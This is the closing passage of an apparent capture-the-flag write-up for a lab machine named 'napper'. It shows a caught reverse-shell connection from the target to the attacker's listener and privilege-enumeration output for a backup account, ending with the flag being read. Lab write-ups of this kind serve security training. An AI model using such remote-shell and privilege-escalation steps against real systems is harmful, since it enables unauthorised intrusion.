connect to [10.10.16.6] from (UNKNOWN) [10.10.11.240] 50953
Microsoft Windows [Version 10.0.19045.3636]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
napper\backup

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

And we can finally read the flag at Administrator desktop.

~Happy Hacking